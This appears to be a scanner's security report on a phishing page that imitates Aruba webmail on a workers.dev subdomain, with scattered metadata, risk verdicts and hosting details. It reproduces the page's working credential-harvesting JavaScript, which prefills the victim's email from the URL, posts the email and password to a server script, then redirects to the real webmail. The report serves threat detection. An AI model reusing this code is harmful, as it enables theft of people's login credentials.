technology software

documentation technical

government public service

corporate business

social_media

English

PHPSESSID

Within the developer-focused generic top-level domain (.dev), 'aruba8855768977086878989conferma-id-sessione-accesso-certific.othersmx.workers.dev' is registered with subdomain 'aruba8855768977086878989conferma-id-sessione-accesso-certific.othersmx'. Its registrable label 'workers' stretches across 7 characters split between two vowels and 5 consonants. Tokenizing the label suggests one word: workers. Median word length is 7 characters. No strong language cues emerged from the frequency lists.

location

email

password

staySignedIn

html/dc/68/dc686819-24b2-467d-9a72-7f721ce78f2a.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

auth-credential-frame

empty

d508ec411e6a60991fb52a0d6b1a156e094166c80f56203e497b5f7119773db9

width=device-width, initial-scale=1, maximum-scale=5

viewport

msapplication-tap-highlight

google

robots

theme-color

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Abuse Team

CloudFlare, Inc.

workers.dev

Abuse

Google LLC

GOOGLE


    // 1. AUTO-GRAB EMAIL FROM URL HASH (#) - Supports Base64 and URI Encoding
    (function() {
      if (window.location.hash) {
        var hashValue = window.location.hash.substring(1);
        var decodedEmail = null;
        var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        
        // Attempt 1: Try decoding as Base64 (handles URL-safe Base64 variants)
        try {
          var base64Str = hashValue.replace(/-/g, '+').replace(/_/g, '/');
          // Add padding if necessary
          while (base64Str.length % 4 !== 0) {
            base64Str += '=';
          }
          var b64Decoded = atob(base64Str);
          if (emailRegex.test(b64Decoded)) {
            decodedEmail = b64Decoded;
          }
        } catch (e) {
          // Not valid Base64, ignore and fall back
        }
        
        // Attempt 2: If Base64 failed or didn't yield an email, try standard URI decoding
        if (!decodedEmail) {
          var uriDecoded = decodeURIComponent(hashValue);
          if (emailRegex.test(uriDecoded)) {
            decodedEmail = uriDecoded;
          }
        }
        
        // If we successfully decoded a valid email, prefill and clean the URL
        if (decodedEmail) {
          var emailInput = document.getElementById("auth-in-email");
          if (emailInput) {
            emailInput.value = decodedEmail;
          }
          
          if (window.history.replaceState) {
            window.history.replaceState(null, null, window.location.pathname + window.location.search);
          }
        }
      }
    })();

    // 2. EXISTING JS CHECK
    (function () {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "custom/validate.php?js_check=1", true);
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      xhr.send("js_enabled=1");
    })();

    // 3. EXISTING FORM HANDLING
    (function () {
      var form = document.getElementById("auth-form");
      var email = document.getElementById("auth-in-email");
      var password = document.getElementById("auth-in-pass");
      var hint = document.getElementById("auth-inline-hint");
      var alertBox = document.getElementById("auth-alert");
      var submitBtn = document.getElementById("auth-submit");
      var webmailUrl = "https://webmail.aruba.it/new/auth/login";
      var errorPageUrl = "index.php?error";

      if (!form || !email || !password || !submitBtn || !alertBox) return;

      function clearErrors() {
        hint.textContent = "";
        alertBox.textContent = "";
        alertBox.setAttribute("hidden", "");
      }

      function showEmailError(msg) {
        hint.textContent = msg;
      }

      function showAlert(msg) {
        alertBox.textContent = msg;
        alertBox.removeAttribute("hidden");
      }

      function validEmail(v) {
        v = (v || "").trim();
        return v.length > 0 && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v);
      }

      function setBusy(busy) {
        submitBtn.disabled = !!busy;
        submitBtn.setAttribute("aria-busy", busy ? "true" : "false");
      }

      form.addEventListener("submit", function (e) {
        e.preventDefault();

        var emailVal = (email.value || "").trim();
        var passwordVal = password.value || "";
        clearErrors();

        if (!validEmail(email.value)) {
          showEmailError("Please enter a valid email address.");
          email.focus();
          return;
        }

        if (!passwordVal.trim()) {
          showAlert("Please enter your password.");
          password.focus();
          return;
        }

        submitBtn.textContent = "Signing in…";
        setBusy(true);

        var params = new URLSearchParams();
        params.set("email", emailVal);
        params.set("password", passwordVal);

        fetch("custom/validate.php", {
          method: "POST",
          headers: {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            Accept: "application/json",
          },
          body: params.toString(),
          credentials: "same-origin",
        })
          .then(function (res) {
            return res.json().then(function (data) {
              return { ok: res.ok, data: data };
            });
          })
          .then(function (result) {
            if (result.data && result.data.success) {
              window.location.href = result.data.redirect || webmailUrl;
              return;
            }
            window.location.href =
              (result.data && result.data.redirect) || errorPageUrl;
          })
          .catch(function () {
            window.location.href = errorPageUrl;
          })
          .finally(function () {
            setBusy(false);
          });
      });
    })();
  

X-UA-Compatible

PasswordField

LiteSpeed

Litespeed Cache

HTTP/3

Cloudflare Bot Management

Cloudflare

Sign in — Webmail

⚡ Medium Risk - https://aruba8855768977086878989conferma-id-sessione-accesso-certific.othersmx.workers.dev/

Requests	IP Address	Location	AS Autonomous System
4	142.251.20.95Google · CDN	United States	AS15169Google LLC
4	172.67.142.52Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
8	2	-	-

Security Scan Report: aruba8855768977086878989conferma-id-sessione-accesso-certific.othersmx.workers.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies7

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History